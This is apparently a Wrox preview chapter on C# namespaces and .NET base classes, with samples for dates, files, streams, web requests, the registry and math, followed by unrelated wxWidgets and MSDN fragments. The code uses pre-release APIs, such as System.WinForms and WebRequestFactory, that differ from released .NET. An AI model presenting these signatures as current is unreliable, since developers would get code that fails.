A namespace can be seen as a container for some classes in much the same way that a folder on your file system contains files. Namespaces are needed because there are a lot of .NET classes. Microsoft has written many thousands of base classes, and any reasonably large application will define many more. By putting the classes into namespaces we can group related classes together, and also avoid the risk of name collisions: If your company happens to define a class that has the same name as the class written by another organization, and there were no namespaces, there would be no way for a compiler to figure out which class a program is actually referring to. With namespaces, there isn't a problem because the two classes will be placed in different namespaces, which compares with, say, the Windows files system where files with the same name can be contained in different folders.
It is also possible for namespaces to contain other namespaces, just as folders on your file system can contain other folders as well as files.
When Visual Studio generates your projects, it automatically puts your classes in a namespace. Say for example you use the developer environment to create a C# Windows Application project called MyProject. If you do this and look at the code generated for you, you'll see something like this.
namespace MyProject { using System; using System.Drawing; using System.Collections; using System.ComponentModel; using System.WinForms; using System.Data;
There's two C# keywords here that we need to understand: namespace and using. We'll look at namespace first then examine what using does.
The initial namespace command indicates that everything following the opening curly brace is part of a namespace called MyProject. Later on in the file, a class called Form1 is declared.
public class Form1 : System.WinForms.Form
Because this class has been declared inside the namespace, its 'real' name is not Form1 but MyProject.Form1, and any other code outside this namespace must refer to it as such. This name is correctly known as its fully-qualified name. Notice that in the above line, Form1 is derived from a class called Form. This class is defined inside the namespace WinForms, which in turn is defined inside the namespace System (recall we mentioned earlier that it is possible for namespaces to contain other namespaces). This code sample refers to the Form class using its fully qualified name.
Now we'll have a look at the purpose of the using command in the above code. It's basically a way of avoiding having to write fully-qualified names everywhere, since the fully-qualified names can get quite long and make your code hard to read. For example if we consider the line
using System.WinForms;
This line declares that I may later in the code use classes from the System.WinForms namespace, without indicating the fully-qualified name � and the same applied for every other namespace mentioned in a using command. For example consider the line of code, also generated by the developer environment
public class Form1 : System.WinForms.Form
Because of the earlier using command, we could equally well write this as
public class Form1 : Form
In this latter case the compiler will locate the class by searching all the namespaces that have been mentioned in a using command. If it finds a class named Form in more than one of these namespaces, it will generate a compilation error � in that case you would need to use the fully-qualified name in your source code.
Note that the only purpose of the using command in this context is to save you typing and make your code simpler. It doesn't, for example, cause any other code or libraries to be added to your project you're your code uses base classes or any other classes that are defined in libraries (recall in .NET these are stored in assemblies), you need to separately ensure that the compiler knows which assemblies to look in for the classes. If you are compiling from the Visual Studio developer environment, this is done through the project references, which are listed in the Solution Explorer window, as shown in this screenshot:
Some references are inserted automatically when your project is created � which ones depends on the type of project, and you can add others using the Project | Add Reference menu. The screenshot shows the situation for a newly created C# Windows Application. (Note that although it is assemblies rather than namespaces that are referenced, the solution explorer shows the namespaces that are found in these assemblies. A given assembly can contain more than one namespace and vice versa.)
If you are compiling from the command line then the assembly mscorlib.dll, which contains some of the most important base classes, is referenced implicitly. You will need to indicate any other assemblies to be referenced with the command line parameter /r, supplying the full file system path to the assembly. For example for the above project, the appropriate command is:
csc ReadFile.cs /r:c:\WinNT\Microsoft.NET\Framework\v1.0.2204\System.Drawing.dll /r:c:\WinNT\Microsoft.NET\Framework\v1.0.2204\System.WinForms.dll /r:c:\WinNT\Microsoft.NET\Framework\v1.0.2204\System.Data.dll /r:c:\WinNT\Microsoft.NET\Framework\v1.0.2204\System.Diagnostics.dll /r:c:\WinNT\Microsoft.NET\Framework\v1.0.2204\System.dll /r:c:\WinNT\Microsoft.NET\Framework\v1.0.2204\Microsoft.Win32.Interop.dll
Now we've understood the concept of a namespace we can go on to look at the namespaces that contain the various base classes.
If you have a very long namespace and you want to use it several times in your code, then you can substitute a short word for the long namespace name which you can refer to in the code as often as you want. The advantages of doing this are that the code becomes easier to read and maintain and it saves you typing out very long strings.
The syntax for declaring an alias is:
using Alias = Wrox.SampleCode.CSharpPreview.Examples;
and this sample code illustrates how you can use an alias:
namespace Wrox.SampleCode.CSharpPreview { using System; using MathEx = Wrox.SampleCode.CSharpPreview.Examples; namespace ChBaseClasses { public class clsExample1 { public static void Main() { MathEx.clsMath MyMathClass = new MathEx.clsMath(); Console.WriteLine(MyMathClass.Add(3,4)); } } } // The alias MathEx refers to this namespace namespace Examples { public class clsMath { public int Add(int x, int y) { int z = x + y; return (z); } } } }
As we've remarked there are a huge number of base classes, and there are also a large number of namespaces that contain these classes. We cannot hope to give comprehensive coverage in this chapter, but we'll give a quick summary of some of the more useful namespaces here.
There are many more namespaces, and the best way to learn about them and the classes they contain is to explore them yourself � and Microsoft have provided a tool for just this purpose. That's what we'll look at next.
WinCV is a class viewer tool, which can be used to examine the classes available in shared assemblies� including all the base classes. (A shared assembly is an assembly that has been marked for use by other applications � we'll cover shared assemblies in Chapter 10). For each class, it lists the methods, properties, events and fields using a C#-like syntax.
At the present time you start it by typing in wincv at the command prompt or clicking on the file in Windows Explorer. This gives you a basic window with two panes, as shown.
You then type in a search string that is contained in the class you are looking for in the Searching For box. For example if you want to find a class that handles dates, you might try typing in Date in this box. As you type, WinCV will display a list of classes that contain the string in question in their names:
As this screenshot shows, there are a lot of classes whose name contains the string date � then it's just a question of scanning through the names to find the one that looks most suitable. The definition of the selected class is then displayed in the right hand pane. The left hand pane also indicates the namespace the class is contained in � you'll need this in order to be able to use that class in your C# code. In the case of DateTime, WinCV tells us that it is part of the System namespace, which means that the line
using System;
that is placed by the AppWizard by default in most C# projects will be sufficient to give us access to the class without explicitly indicating the namespace.
The right hand pane of WinCV tells us which assembly the class is defined in � the screenshot shows us that System.DateTime is defined in mscorlib.dll. This information is useful to indicate if we need to link in any assemblies when we compile, in order to have access to the class. Again, the above screenshot tells us that we are OK for the DateTime class, since it is defined in mscorlib.dll, which is, by default, referenced anyway.
Now we've laid the groundwork, the rest of this chapter is devoted to presenting a number of sample C# projects which are designed to illustrate how to carry out some common programming tasks that are made easy by the base classes.
Before we go through the samples in this chapter, we'll quickly go over how we are structuring them. Since in most cases all we want to do is perform a few operations such as writing to a file or accessing some registry keys then displaying the results, it would be simplest to provide console samples � that way we minimize the extraneous code. However in practice, very few Windows applications are written as console applications, and it would be nice to put the output in a more realistic environment. Accordingly, the samples will all be presented as Windows applications, based on a form that has a list box, as shown here.
We haven't yet covered how to write Windows applications in C# � that's the subject of Chapter 8, but we'll give you just enough information here for you to understand how the samples are created.
Each project is created as a C# Windows application: So when we start up the Visual Studio developer environment and select New Project, we fill in the New Project dialog like this (though supplying our own name and path for the project).
Once the project has been created, we use the Toolbox in the developer environment to place a List box on the form � by default this will be called listBox1. The List box is actually an instance of a C# object of type ListBox, from the System.WinForms namespace.
We then examine the code the wizard has generated for us and make the following changes (shown highlighted).
public class Form1 : System.WinForms.Form { /// <summary> /// Required designer variable /// </summary> private System.ComponentModel.Container components; private System.WinForms.ListBox listBox1; private int nItems=0; public void AddItem(string sItem) { object oItem = sItem; listBox1.InsertItem(nItems,oItem); ++nItems; } public Form1() { // // Required for Win Form Designer support // InitializeComponent(); // // TODO: Add any constructor code after InitializeComponent call // AddItem("An item of output"); AddItem("2nd bit of output"); AddItem("More output"); }
The code that we are adding is to the Form1 class which represents the entire form (window) created when the program is run. We first add a member field, nItems, and a member function, AddItem(). These are to make it easier for us to add lines of text to the list box. This is normally done by using the member function, InsertItem() of the ListBox class. But in its simplest overload, this function takes two parameters � the zero-based index of where we wish to insert the item, and the item itself, passed as an object (InsertItem() will use the ToString() function to extract the string to be added). Since we wish to add each successive item to the end of the list box, this would require us to keep a count of how many items we have added. Our AddItem() function automates that process for us.
private int nItems=0; public void AddItem(string sItem) { object oItem = sItem; listBox1.InsertItem(nItems,oItem); ++nItems; }
I should mention we could also add the items to the list box with the line of code
listBox1.Items.Add(oItem);
though either way our function does marginally simplify the code.
We then actually add the items in the Form1 constructor. In this simplest case we have simply added three strings.
AddItem("An item of output"); AddItem("2nd bit of output"); AddItem("More output");
In all the subsequent samples these three lines will be replaced by the code to do whatever processing is required to illustrate the task in hand, followed by AddItem() calls to display the results. Each of the projects in this chapter were created in essentially the same way to the above example. Note however that in the following samples, we've also changed the name of the Form1 class and the namespace that it appears in. The developer environment by default gives us a namespace that has the same name as the project, however Microsoft guidelines say that the namespace should start with the company name (which makes sense, as you would not have any name clashes with other company's classes). So for all the projects here we'll use the namespace Wrox.BookSamples.CSharpPreview.ChBaseClasses.
You should bear in mind when reading through the samples that some of the classes may be modified before the .NET SDK is finally released. Hence they will give you a good idea of how to carry out tasks, but some of the names or signatures of methods may be slightly different. Also in many cases there are several classes or methods whose functionality overlaps. Just because we've presented a certain way of doing something doesn't mean there won't be alternative ways of doing the same task.
Our first samples will demonstrate how to access the date-time functionality provided by the base classes. There are two classes of relevance here: DateTime and TimeSpan, both of which are in the System namespace. We start off by displaying the current date and time in various different formats, using this code:
namespace Wrox.SampleCode.CSharpPreview.ChBaseClasses { using System; using System.Drawing; using System.Collections; using System.ComponentModel; using System.WinForms; using System.Data; public class FormDisplayDateTimes : System.WinForms.Form { ... as before /// <summary> /// Summary description for FormDisplayDateTimes. /// </summary> public FormDisplayDateTimes() { // // Required for Win Form Designer support // InitializeComponent(); // // TODO: Add any constructor code after InitializeComponent call // DateTime dtCurrTime = DateTime.Now; AddItem("Current Time is " + dtCurrTime.ToString()); AddItem("Year is " + dtCurrTime.Year.ToString()); AddItem("Month is " + dtCurrTime.Month.ToString()); AddItem("Day of month is " + dtCurrTime.Day.ToString()); AddItem("Day of week is " + dtCurrTime.DayOfWeek.ToString()); AddItem("Hour is " + dtCurrTime.Hour.ToString()); AddItem("Minute is " + dtCurrTime.Minute.ToString()); AddItem("Second is " + dtCurrTime.Second.ToString()); AddItem("Millisecond is " + dtCurrTime.Millisecond.ToString()); AddItem("ShortDateString is " + dtCurrTime.ToShortDateString()); AddItem("LongDateString is " + dtCurrTime.ToLongDateString()); AddItem("ShortTimeString is " + dtCurrTime.ToShortTimeString()); AddItem("LongTimeString is " + dtCurrTime.ToLongTimeString()); }
As explained earlier, we are adding our code to the constructor of the FormDisplayDateTimes class in our project. (FormDisplayDateTimes was Form1 in the generated code but we've changed its name to a more meaningful class name.)
We first instantiate a variable dtCurrTime of class DateTime, and initialize it using the static property of the DateTime class, Now, which returns the current date and time. We then use various properties, fields and methods to extract portions of the current date and time. This code produces the following output:
Next we will create another sample, which we'll call the FormTimeSpans sample. This shows how to add and take the differences between date-times. This is where the TimeSpan class comes in. The TimeSpan class represents a difference between two date-times. The following sample takes a DateTime, initialized to 1 January 2000, 12 pm, adds an interval of 4 days 2 hours 15 minutes to it, and displays the results along with information about the times and timespan.
... public class FormTimeSpans : System.WinForms.Form { ... as before public FormTimeSpans() { // // Required for Win Form Designer support // InitializeComponent(); // // TODO: Add any constructor code after InitializeComponent call // // constructor: TimeSpan(days, hours, minutes, seconds) TimeSpan Span = new TimeSpan(4,2,15,0); // initialize date to 1 Jan 2000, 12 pm // constructor: DateTime(year,month,day,hours,minutes,seconds, // milliseconds) DateTime dtOld = new DateTime(2000,1,1,12,0,0,0); DateTime dtNew = dtOld + Span; AddItem("Original date was " + dtOld.ToLongDateString() + " " + dtOld.ToShortTimeString()); AddItem("Adding time span of " + Span.ToString()); AddItem("Result is " + dtNew.ToLongDateString() + " " + dtNew.ToShortTimeString()); AddItem(""); AddItem("Time span broken down is:"); AddItem("Days: " + Span.Days.ToString()); AddItem("Hours: " + Span.Hours.ToString()); AddItem("Minutes: " + Span.Minutes.ToString()); AddItem("Seconds: " + Span.Seconds.ToString()); AddItem("Milliseconds: " + Span.Milliseconds.ToString()); AddItem("Ticks: " + Span.Ticks.ToString()); AddItem(""); AddItem("TicksPerSecond: " + TimeSpan.TicksPerSecond.ToString()); AddItem("TicksPerHour: " + TimeSpan.TicksPerHour.ToString()); }
In this sample we see the new operator being used to construct DateTime and TimeSpan instances of given value. Both these classes have several constructors with different numbers of parameters depending on how precisely you wish to specify the time. We add the span on to the time and display the results. In displaying the results we use the ToLongDateString() method of the DateTime class to get the date in plain English, but the ToShortTimeString() method to get the time (using ToLongTimeString() would give us milliseconds as well). We then use various properties of the TimeSpan class to show the days, hours, minutes, seconds, milliseconds and ticks. Ticks are the smallest unit allowed by the TimeSpan class and measure one ten-millionth of a second, as indicated by a couple of static fields that give conversion factors, which we also display.
The above code gives this output:
One of the most common things you'll need to do is access the file system, to read and write to files, to move or copy files around, or to explore folders to check what files are there. The .NET base classes include a number of classes that provide a rich set of functionality to do these tasks. These classes are contained in the System.IO namespace. Since the AppWizard doesn't add code to refer to this namespace by default, we add the line using System.IO near the top of the Form1.cs source file for all the samples in this section:
namespace Wrox.SampleCode.CSharpPreview.ChBaseClasses { using System; using System.Drawing; using System.Collections; using System.ComponentModel; using System.WinForms; using System.Data; using System.IO;
Note that (as you can find out from the WinCV tool) these classes are still defined in mscorlib.dll, so we don't need to add any files to the project references.
Our first file operations sample, which we'll call FileInfo will demonstrate how to get information about a file, such as its last write time, and its size. To do this we use a class, System.IO.File. The code to obtain the information is as follows:
File fl = new File("C:\\dotNET Book\\Ch8_ADO.doc"); AddItem("Connected to file : " + fl.Name); AddItem("In Folder: " + fl.Directory); AddItem("Full path: " + fl.FullName); AddItem("Is Directory: " + fl.IsDirectory.ToString()); AddItem("Is File: " + fl.IsFile); AddItem("Last write time: " + fl.LastWriteTime.ToString()); AddItem("Size in bytes: " + fl.Length);
This code should be fairly self-explanatory. We construct a File instance by supplying the full path name of the location of the file in the file system, and the File instance then refers to that file, and we can simply read off a number of properties of it. In this case I'm binding to the file for one of the other chapters of this book, the ADO+ chapter. Note that \ by itself is interpreted as the start of an escape sequence in strings in C#, so we need to use \\ to represent a single backslash in the pathname. You can also use an alternative syntax, in which the @ character precedes the string, which indicates that characters should not be escaped. Hence you would write:
File fl = new File(@"F:\dotNET Book\Ch8_ADO.doc")
This code gives us this output.
In general you can use a File object to connect to either a file or a folder, although if you connect to a folder then attempting to access those properties that don't make sense for a folder (such as Length or LastWriteTime) will raise an exception.
To explore the contents of a folder, we need another base class � in this case the class Directory also in the System.IO namespace. Note that the .NET base classes generally refer to folders as directories in class and method names. This corresponds to normal terminology on web sites and on Unix and Linux machines, as well as on Windows 3.1 when it was around, but can be confusing if you're used to Windows terminology, in which a folder is an item in the file system that contains files, and a directory is a more sophisticated complete information store (such as Active Directory). I'll continue to use the term folder in this chapter, in accordance with normal usage for the Windows file system.
The following code sample connects to the folder F:\dotNET Book and separately lists the files and folders in it.
Directory fl = new Directory("C:\\dotNET Book"); AddItem("Connected to folder: " + fl.Name); AddItem("Full path: " + fl.FullName); AddItem("Is Directory: " + fl.IsDirectory.ToString()); AddItem("Is File: " + fl.IsFile); AddItem(""); AddItem("Files contained in this folder:"); File [] childfiles = fl.GetFiles(); foreach (File childfile in childfiles) { AddItem(" " + childfile.Name); } AddItem(""); AddItem("Subfolders contained in this folder:"); Directory [] childfolders = fl.GetDirectories(); foreach (Directory childfolder in childfolders) { AddItem(" " + childfolder.Name); }
This code starts off by showing that the way of connecting to a folder is the same as for a file, and that the Directory and File classes both share the Boolean IsDirectory and IsFile properties, which can be used to distinguish what the object is if you are unsure. This means that you do not know what an object is, you can for example bind to it as a file, then use the IsDirectory property to check if it is actually a folder � and re-bind to it as a Directory if IsDirectory returns true. The resulting code would look something like this:
File fl = new File("C:\\DotNET Book"); if (fl.IsDirectory == true) { fl = null; Directory dr = new Directory("C:\\DotNET Book"); // process as directory } else { // process as file }
In the above code we next use a method, GetFiles() to retrieve a list of the files in the directory. This method returns an array of File instances, each one already bound to a file � so we can use a foreach loop to iterate through the array and carry out whatever processing we need to do on each file. The Directory class has another method, GetDirectories(), which works in exactly the same way as GetFiles(), but returns an array of Directory instances that refer to each subfolder. In both cases in the sample we use these methods to simply display the names of the files and folders.
This code produces this output on my computer:
The next sample is the one in which we really get to have a bit of fun mucking about with the directory system. As usual, it's a Windows project in which we add the code to the form's constructor, though in this case there's no real output to display.
We start off by binding to the dotNETBook folder, and we create both a new empty file and a new empty subfolder there.
Directory fl = new Directory("C:\\dotNET Book"); fl.CreateSubdirectory("SampleBackups"); fl.CreateFile("MyNewFile.txt");
We're not going to write anything to the file yet � we'll do that soon.
Next we bind to one of the files in the f:\dotNET Book folder, rename it and copy it:
File adofile = new File("C:\\dotNET Book\\Ch8_ADO.doc"); adofile.CopyTo("C:\\dotNET Book\\SampleBackups\\Ch8_Backup.doc");
Note that you should put the complete path in otherwise the file will be copied to the same directory as the executable.
Now we have a go at deleting things � first the file spec.doc, then the Samples folder.
File sparefile = new File("C:\\dotNET Book\\spec.doc"); sparefile.Delete(); Directory sparefolder = new Directory("C:\\dotNET Book\\Samples"); sparefolder.Delete(true);
The File.Delete() method doesn't take any parameters. The Directory.Delete() method has two overloads. One (which we haven't demonstrated here) takes no parameters and does a simple delete and the file or directory goes to the recycle bin. The other takes one parameter � a Boolean which indicates whether the delete operation is recursive, which in this case we've specified that it is. If we'd wanted the delete not to be recursive we'd have written:
sparefolder.Delete(false);
In that case if sparefolder contained subfolders an exception would be raised.
Reading files is quite simple, since Microsoft have provided a large number of classes that represent streams, which may be used to transfer data. Transferring data here can include such things as reading and writing to files, or downloading from the Internet, or simply moving data from one location to another using a stream.
The available classes are all derived from the class System.IO.Stream, which can represent any stream, and the various classes represent different specializations, for example streams that are specifically geared to reading or writing to files. In general, for the examples in this chapter that involve using streams, there are potentially a number of different ways to write the code, using any of several of the available stream objects. However, in this chapter we'll just present one way that you could perform each of the processes of reading and writing to text and binary files.
Reading text files is quite simple � for this we're going to use the StreamReader class. The StreamReader represents a stream specifically geared to reading text. We'll demonstrate the process with a sample that reads in and displays the contents of the ReadMe.txt file generated by the developer environment's AppWizard for our earlier EnumFiles sample. The code looks like this.
File fIn = new File("C:\\dotNET Projects\\Namespaces\\EnumFiles\\ReadMe.txt"); StreamReader strm = fIn.OpenText(); // continue reading until end of file string sLine; do { sLine = strm.ReadLine(); AddItem(sLine); } while (sLine != null); strm.Close();
We obtain a StreamReader instance using the OpenText() method of the File class. The StreamReader class contains several methods that either read or peek at differing amounts of data.
Peeking means looking ahead at the data, but without actually moving through the data. The best way to understand this is by imagining a pointer that indicates which bit of the file you are due to read next. If you read data, then the pointer will be moved to point at the byte following the last byte read, so the next read (or peek) will bring in the next block of data. If you peek at data, the pointer is not changed, so the next read (or peek) will retrieve the same data again.
The most useful method however for our purposes is ReadLine(), which reads as far as the next carriage return, returning the result in a string. If we have reached the end of the file, ReadLine() does not throw an exception, but simply returns a null reference � so we use this to test for the end of the file. Note that a null reference is not the same as an empty string. If we'd instead applied the condition
while (sLine != "");
to the do loop, the loop would have finished the moment we came to a blank line in the file, not at the end of the file. (StreamReader.ReadLine() returns the string without the trailing carriage return and line feed).
Running this sample produces this output, showing it's correctly read the ReadMe.Txt file:
Writing text files follows similar principles to reading from them � in this case we use the StreamWriter class.
What makes writing text files even easier than reading them is that the method we use to write a line of text output followed by a carriage return-line feed, StreamWriter.WriteLine(), has a number of overloads so we don't necessarily need to pass it just text. It will accept a string, an object, a Boolean or several of the numeric types. This can be seen from this code sample, which writes out some text to the blank file we created earlier, MyNewFile.txt.
StreamWriter strm = new StreamWriter("C:\\dotNET Book\\MyNewFile.txt", false); strm.WriteLine("This is some text"); strm.WriteLine("Next lines are numbers"); strm.WriteLine(3); strm.WriteLine(4.55); strm.WriteLine("And the next line is a boolean"); strm.WriteLine(true); strm.Close();
The results of this can be seen in Notepad:
There are a number of overrides to the constructor of the StreamWriter. The constructor we have picked in our code sample is quite flexible, taking two parameters: the full name of the file, and a Boolean that indicates whether data should be appended to the file. If this is false then the contents of the file will be overwritten by the StreamWriter. In either case, the file will be opened if it already exists or created if it doesn't. This behavior can be customized by using other more complex constructors to the StreamWriter.
Once we get to binary files we need to abandon the text-specific StreamReader and StreamWriter classes in place of a more general-purpose class. There are actually two classes that will do the job, System.IO.Stream and System.IO.FileStream. FileStream is designed specifically for reading and writing to files, while Stream is able to transmit data between files or other objects. The two classes work in very similar ways, and for the sake of demonstrating both of them, we'll use Stream for reading data and then use FileStream in the following sample which writes data to a file.
This sample demonstrates how to use the Stream class to read data. It opens a file and reads it, a byte at a time, each time displaying the numeric value of the byte read.
File fl = new File("C:\\dotNET Book\\TestReader.txt"); Stream strm = fl.OpenRead(); int iNext; do { iNext = strm.ReadByte(); if (iNext != -1) AddItem(iNext.ToString()); } while (iNext != -1); strm.Close();
We obtain an instance of the Stream class by first opening instantiating a File object attached to the required file and calling its OpenRead() method. We then read through the file by calling the Stream.ReadByte() method. This method reads the next byte returning its value as an int. If we have reached the end of the file, then -1 is returned, but no exception is thrown � and it is this condition we use to test for the end of the file. Note that the Stream class also has a Read() method which can read a specified number of bytes in one go � I've chosen to use ReadByte() here as it leads to simpler code.
The file I've tested this code on looks like this � the first few letters of the alphabet followed by three carriage return-line feeds. Although the code will work on any file, I've demonstrated it on a text file because that makes it easier to see visually that the results are correct.
Running the code on this file produces this output:
Although we can use either the Stream or FileStream classes to perform this task, we'll use an instance of FileStream for this sample. This code writes out a short text file that contains the letters FGHIJK followed by a carriage return-line feed combination. Note that again although this code is capable of writing any data, we're using textual data in the sample so that we can easily use Notepad to check that the sample has worked.
The code looks like this
byte [] bytes = {70,71,72,73,74,75,13,10}; FileStream strm = new FileStream("C:\\dotNET Book\\TestWriter.txt", FileMode.OpenOrCreate, FileAccess.Write); foreach (byte bNext in bytes) { strm.WriteByte(bNext); } strm.Close();
We first define an array of bytes that contains the data to be written to the file � in this case the ASCII codes of the characters. True binary data would have simply meant changing some of the values in this array to represent non-printable characters.
Next we instantiate a FileStream object. The constructor we use takes three parameters: the full pathname of the file, the mode we are using to open it and the access required. The mode and access merit more consideration �- they are enumerated values respectively taken from two further classes in the System.IO namespace: FileMode and FileAccess. The possible values these can take are all self-explanatory. In the case of the mode the possible values are Append, Create, CreateNew, Open, OpenOrCreate and Truncate. For the access they are Read, ReadWrite and Write.
Finally we use the WriteByte method of the FileStream object to write out each byte before closing the file. Again there is a FileStream.Write method, which can write out a number of bytes at a time and which you may prefer to use. We've stuck with WriteByte because it makes it clearer what is going on as we loop through the array.
And finally the test whether this code has worked: After running it, opening the new file with Notepad gives this:
Retrieving a file from the Internet really involves two processes: requesting the file, and reading it through a stream. We've already covered the latter process � the code to do it is essentially the same as our earlier sample to read text from a file using the StreamReader class. Loading and requesting the file is a little more complicated as it involves several new classes.
We're going to need a couple of classes concerned with web browsing: HttpWebRequest, HttpWebResponse and WebRequestFactory, which are all in the System.Net namespace. The assembly that defines this namespace is not by default loaded in C# projects so we need to add it to our references in the solution explorer. Recall we can do this by right-clicking on the References node in the explorer and selecting Add Reference from the context menu.
Next we add a couple of commands to refer to some new namespaces in the C# source file:
namespace WebRequest { using System; using System.Drawing; using System.Collections; using System.ComponentModel; using System.WinForms; using System.Data; using System.Net; using System.IO; using System.Text;
System.Net is for the web classes just mentioned, System.IO is because we will need to use a StreamReader, and System.Text provides a helper enumeration value used in constructing the StreamReader. These latter two classes are both in mscorlib.dll so no new references need to be added at compilation time.
Now we can proceed to the code needed to make our request to the web server and display the results:
HttpWebRequest webreq = (HttpWebRequest)WebRequestFactory.Create (""); HttpWebResponse webresp = (HttpWebResponse)webreq.GetResponse(); StreamReader strm = new StreamReader( webresp.GetResponseStream(), Encoding.ASCII); string sLine; do { sLine = strm.ReadLine(); AddItem(sLine); } while (sLine != null); strm.Close();
The request is made through an instance of the class HttpWebRequest. However, it is not possible to construct this instance directly � instead it needs to be constructed by a static method of another class, WebRequestFactory. The WebRequestFactory.Create() method is designed to create a general request for a given URL � in this case we pass the URL of one of the files created on the default web site on my local machine when IIS is installed � postinfo.html. Note that WebRequestFactory.Create() actually returns a reference to a WebRequest object, not an HttpWebRequest object, so we need to cast the return value. HttpWebRequest is derived from WebRequest � the latter class is more general-purpose and able to deal with requests using other protocols besides HTTP.
Once we have the HttpWebRequest instance, we actually make the request by calling its GetResponse() method. GetResponse() returns a WebResponse object, which encapsulates information returned by a web server in response to a request. In a similar manner to WebRequestFactory.Create(), the return value is a reference to a WebResponse rather than an HttpWebResponse, so we need to cast it to the required data type.
Once we have the HttpWebResponse, we simply need to obtain a StreamReader instance that we can use to retrieve the contents of the file. To do this we use a StreamReaderconstructor that takes two parameters: a more general stream and a value that indicates the encoding type. The stream is obtained from the GetResponseStream() method of the HttpWebResponse class, and the encoding type is Encoding.ASCII, an enumerated value from the System.Text.Encoding class, which indicates that this stream contains ASCII text data.
Although there are a lot of classes involved with this and hence a lot to take in, the actual code is still reasonably short and simple. Running this sample produces this result:
This indicates that the page has been successfully downloaded and displayed.
In this section we'll present a code sample that enumerates registry keys and reads their values.
There are several classes used to access the registry, of which we will use two: Registry, and RegistryKey, both of which are in the Microsoft.Win32 namespace. This namespace is defined in the same mscorlib assembly that contains the system namespace, so you have access to it without needing to add further references to your project. The remaining registry classes are concerned with security, which is beyond the scope of this chapter.
In order to access a given registry key using the base classes it is necessary to progressively navigate down the registry hierarchy to reach the key. We start off using the Registry class: This class contains static fields that allow access to any of the registry hives. The fields are named:
ClassesRoot
CurrentConfig
CurrentUser
DynData
LocalMachine
PerformanceData
Users
and are all of class RegistryKey. These hives should be familiar to most programmers, though we will comment that PerformanceData may be unfamiliar to some developers. This hive does exist, and is used to access performance counters, but it is not visible in Regedit. The RegistryKey class represents any given key in the registry and has methods to carry out all sorts of operations including accessing and enumerating subkeys, and reading and modifying values. Thus for example, to access the registry key at the top of the ClassesRoot hive, we would use the following:
RegistryKey hkcr = Registry.ClassesRoot;
and we would then be able to use the variable hkcr to perform operations on that key.
The sample, RegEnumKeys, binds to a registry key, enumerates its subkeys, and displays the name and all values of each subkey. The key we've chosen to bind to is the registry key whose subkeys contain details of all the ADSI providers installed on the computer, HKLM/SOFTWARE/Microsoft/ADs/Providers. When run, the sample gives this output on my machine:
We first ensure that we can access the registry classes without giving full namespace names:
namespace Wrox.SampleCode.CSharpPreview.ChBaseClasses { using System; using Microsoft.Win32; using System.Drawing; using System.Collections; using System.ComponentModel; using System.WinForms; using System.Data; using System.IO;
As usual the action takes place in the constructor to the main form class which we've renamed FormRegEnumKeys. We first need to navigate down to the required key. As mentioned earlier, we cannot do this in one go, but have to progressively step down through the registry hierarchy. Note that the name passed to the RegistryKey.OpenSubKey method is not case sensitive:
public FormRegEnumKeys() { // // Required for Win Form Designer support // InitializeComponent(); // // TODO: Add any constructor code after InitializeComponent call // RegistryKey hklm = Registry.LocalMachine; RegistryKey software = hklm.OpenSubKey("SOFTWARE"); RegistryKey microsoft = software.OpenSubKey("Microsoft"); RegistryKey ads = microsoft.OpenSubKey("ADS"); RegistryKey prov = ads.OpenSubKey("Providers");
Now we can display the number of subkeys (corresponding in this case to the number of installed ADSI providers), and start to enumerate over each of them in a foreach loop. The following code uses two foreach loops, one to enumerate through the subkeys, and the other to enumerate through each value associated with each subkey.
AddItem("no. of subkeys is " + prov.SubKeyCount); AddItem(""); AddItem("ADSI Provider registry keys are:"); string [] sProvNames = prov.GetSubKeyNames(); foreach (string sName in sProvNames) { RegistryKey provkey = prov.OpenSubKey(sName); AddItem(""); AddItem(sName + " (" + provkey.ValueCount.ToString() + " values)" ); foreach (string sValName in provkey.GetValueNames()) { AddItem(" sValName: " + provkey.GetValue(sValName)); } }
Mathematical functions are included in the Math class, which is part of the System namespace. You don't therefore need to add any references to your project to make use of these functions.
The Math class basically contains a large number of static functions to perform operations such as calculating sines, logarithms etc. It also contains two static members, E and PI, which respectively return the values of the mathematical constants e and p. The class is quite basic: it contains all the important mathematical functions, but not much more. There is at present no support for, for example complex numbers or vector or matrix operations. Also the function names will probably annoy many mathematicians since their names often don't follow normal usage as far as case is concerned.
We'll demonstrate the use of this class with a simple application, Math, which displays the values of e and p and also the sines of angles between 0 and 90 degrees. The code that we add to the constructor to the main form class looks like this
AddItem("e is " + Math.E); AddItem("pi is " + Math.PI); AddItem(""); AddItem("sines of angles from 0 to 90 degrees:"); // display sines. Note we must convert from degrees to radians. for (double theta=0 ; theta<90.1 ; theta+=22.5) AddItem("sin " + theta + " = " + Math.Sin(theta*Math.PI/180));
Note in this code that we need to convert degrees to radians by multiplying by (p/180) since all the math trigonometric functions work in radians.
This code produces this output:
The main mathematical functions include the following:
Note that these mathematical functions all take double as the parameter and return a double, apart from Abs, Max, Min and Sign, which returns 1, 0 or �1 � these functions make sense for any numeric type, for example it is equally valid to take the absolute value of an integer or a floating point value, and so Microsoft have provided overloaded functions that take different .NET numeric types.
In this chapter we've explained the concept of a namespace, and then gone on a quick tour of some of the functionality available via the .NET SDK base classes. Hopefully these examples will have shown you that the base classes make it very easy to carry out a lot of Windows tasks. Some of these tasks were previously only available via the Win32 SDK, which was not only conceptually harder to program with, but also made it difficult to carry out those tasks from any language other than C++. With the new base classes these tasks can be accomplished with ease from any .NET-aware or COM-aware language.
General
News
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Answer
Joke
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http://www.codeproject.com/KB/books/wrox_previewcsharp7.aspx
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crawl-002
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refinedweb
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#include <wx/dynlib.h>
This class is used for the objects returned by the wxDynamicLibrary::ListLoaded() method and contains the information about a single module loaded into the address space of the current process.
A module in this context may be either a dynamic library or the main program itself.
Retrieves the load address and the size of this module.
Returns the base name of this module, e.g.
"kernel32.dll" or
"libc-2.3.2.so".
Returns the full path of this module if available, e.g.
"c:\windows\system32\kernel32.dll" or
"/lib/libc-2.3.2.so".
Returns the version of this module, e.g.
"5.2.3790.0" or
"2.3.2".
The returned string is empty if the version information is not available.
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https://docs.wxwidgets.org/trunk/classwx_dynamic_library_details.html
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January 2012
Volume 27 Number 01
Data Points - Making Do with Absent Foreign Keys
By Julie Lerman | January 2012
This month I’m writing about an issue I’ve found myself helping people with frequently of late: problems with related classes defined in Code First and then, in most cases, used in the Model-View-Controller (MVC) framework. The problems developers have been experiencing aren’t specific to Code First. They’re the result of underlying Entity Framework (EF) behavior and, in fact, common to most object-relational mappers (ORMs). But it seems the problem is surfacing because developers are coming to Code First with certain expectations. MVC is causing them pain because of its highly disconnected nature.
